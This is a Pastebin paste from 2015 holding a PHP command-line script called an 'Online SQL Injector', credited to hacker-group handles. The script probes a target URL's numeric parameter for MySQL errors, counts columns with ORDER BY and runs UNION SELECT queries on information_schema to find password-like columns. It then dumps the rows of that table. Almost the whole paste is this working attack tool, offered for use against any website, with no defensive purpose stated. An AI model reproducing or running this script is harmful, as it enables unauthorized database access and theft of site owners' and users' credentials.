Advertisement
Kyfx

SQL Injector very nice to use thank u ;0

Nov 6th, 2015
382
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.76 KB | None | 0 0
  1. Online SQL Injector php script
  2. <?
  3. @set_time_limit(0)
  4. @error_reporting(0)
  5. if(count($argv)<=2)
  6. {
  7. print("
  8. __ _ _
  9. __ __/ _\ ___ ___ _ _ _ __(_) |_ _ _
  10. \ \/ /\ \ / _ \/ __| | | | '__| | __| | | |
  11. > < _\ \ __/ (__| |_| | | | | |_| |_| |
  12. /_/\_\\__/\___|\___|\__,_ |_| |_|\__|\__, |
  13. |___/Auto SQL Injection grin emoticon
  14. ‪#‎Coders‬ : xSecurity & Mr.Dm4r
  15. ‪#‎Home‬: sec4ever.com | is-sec.com | s3c-k.com | v4-team.com | madleets .com
  16. ‪#‎Greets‬: UzunDz - b0x - Lov3rDNS - DamaneDz - rOx - r0kin Special For My Lov3r Cyber-Crystal\n");
  17. print "Usage : php {$argv[0]} site.com/file.php?id=1 id\n";
  18. die();
  19. }
  20. function checke($url){
  21. $login = $url;
  22. $ch = curl_init();
  23. curl_setopt($ch,CURLOPT_URL,$login);
  24. curl_setopt($ch,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 5.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1');
  25. curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
  26. $result = curl_exec($ch);
  27. curl_close($ch);
  28. return $result;
  29. }
  30. $target = urldecode($argv[1]);
  31. $id = $argv[2];
  32. ‪#‎preg_match‬("#(\?)?{$id}\=([0-9]{1,6})(&)?#",$target,$m);
  33. ‪#‎print_r‬($m);
  34. ‪#‎exit‬();
  35. $test = preg_replace("#{$id}\=([0-9]{1,6})#","{$id}=$1'",$target);
  36. $get = file_get_contents("{$test}");
  37. if(eregi("MySQL",$get))
  38. {
  39. echo "Infected .. Trying To Exploit\r\n";
  40. $test2 = preg_replace("#{$id}\=([0-9]{1,6})#","{$id}=$1+/*!order+by*/+1000--",$target);
  41. $order1 = file_get_contents($test2);
  42. if(eregi("MySQL",$order1) or eregi("'1000' in 'order",$order1))
  43. {
  44. echo "Please wite to get cals\r\n";
  45. }else{
  46. echo "Can't Get cols please test orther site\r\n";
  47. exit();
  48. }
  49. for($i=1;$i<=50;$i++)
  50. {
  51. echo (($i-1)==0)?"":"Col ".($i-1)."\r\n";
  52. $un .= "{$i},";
  53. $test1 = preg_replace("#{$id}\=([0-9]{1,6})#","{$id}=$1+/*!order+by*/+{$i}--",$target);
  54. $order = file_get_contents($test1);
  55. if(!$order)
  56. {
  57. echo "Target Falied. \r\n";
  58. exit();
  59. }
  60. if(eregi("MySQL",$order) or eregi("'{$i}' in 'order",$order))
  61. {
  62. $by = ($i-0);
  63. echo "order by = ".($i-1)." \r\n";
  64. break;
  65. }
  66. }
  67. $u = $by;
  68. $un = preg_replace("#,{$u},#","",$un);
  69. $target = preg_replace("#{$id}\=([0-9]{1,6})#","{$id}=-$1",$target);
  70. $injc = preg_replace("#[0-9]{1,50}#","/*!concat(0x4d722e446d3472,column_name,0x7c3a7c,table_schema,0x7c3a7c,table_name,0x4d722e446d3472)*/",$un);
  71. $url = urlencode(" /*!union select*/ {$injc} /*!from information_schema.columns where column_name like char(37, 112, 97, 115, 115, 37)*/--");
  72. $fulltarget = "{$target}{$url}";
  73. $exploit = @file_get_contents($fulltarget);
  74. preg_match("‪#‎Mr‬.Dm4r(.*?)Mr.Dm4r#",$exploit,$m);
  75. $exp = explode("|:|",$m[1]);
  76. $password = (($exp[0])=="")?"0x4e6f7420466f756e64":$exp[0];
  77. $db = $exp[1];
  78. $table = $exp[2];
  79. $sqltable = bin2hex($table);
  80. if($password == "0x4e6f7420466f756e64"){exit("Error");}
  81. $injc2 = preg_replace("#[0-9]{1,50}#","/*!concat(0x4d722e446d3472,group_concat(column_name),0x4d722e446d3472)*/",$un);
  82. $url2 = urlencode(" /*!union select*/ {$injc2} /*!from information_schema.columns where table_name=0x{$sqltable}*/--");
  83. $fulltarget2 = "{$target}{$url2}";
  84. $exploit2 = @file_get_contents($fulltarget2);
  85. preg_match("#Mr.Dm4r(.*?)Mr.Dm4r#",$exploit2,$m2);
  86. $m2[1] = explode(",",$m2[1]);
  87. foreach($m2[1] as $tables)
  88. {
  89. if($m2[1][count($m2[1])-1]==$tables)
  90. {
  91. $col .= "{$tables}";
  92. }else{
  93. $col .= "{$tables},0x7c3a7c,";
  94. }
  95. $cols[]=$tables;
  96. }
  97. $injc3 = preg_replace("#[0-9]{1,50}#","/*!concat(0x4d722e446d3472,{$col},0x4d722e446d3472)*/",$un);
  98. $url3 = urlencode(" /*!union select*/ {$injc3} /*! from {$table}*/--");
  99. $fulltarget3 = "{$target}{$url3}";
  100. $exploit3 = @file_get_contents($fulltarget3);
  101. preg_match("#Mr.Dm4r(.*?)Mr.Dm4r#",$exploit3,$m3);
  102. $infos = explode("|:|",$m3[1]);
  103. $i=0;
  104. foreach($infos as $info){
  105. echo "{$cols[$i]} : {$info}\r\n";
  106. $i++;
  107. }
  108. file_put_contents("dd.txt",$exploit2."\r\n".$fulltarget2);
  109. #print_r($m2);
  110. } else {
  111. echo "not infected";
  112. }
  113. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement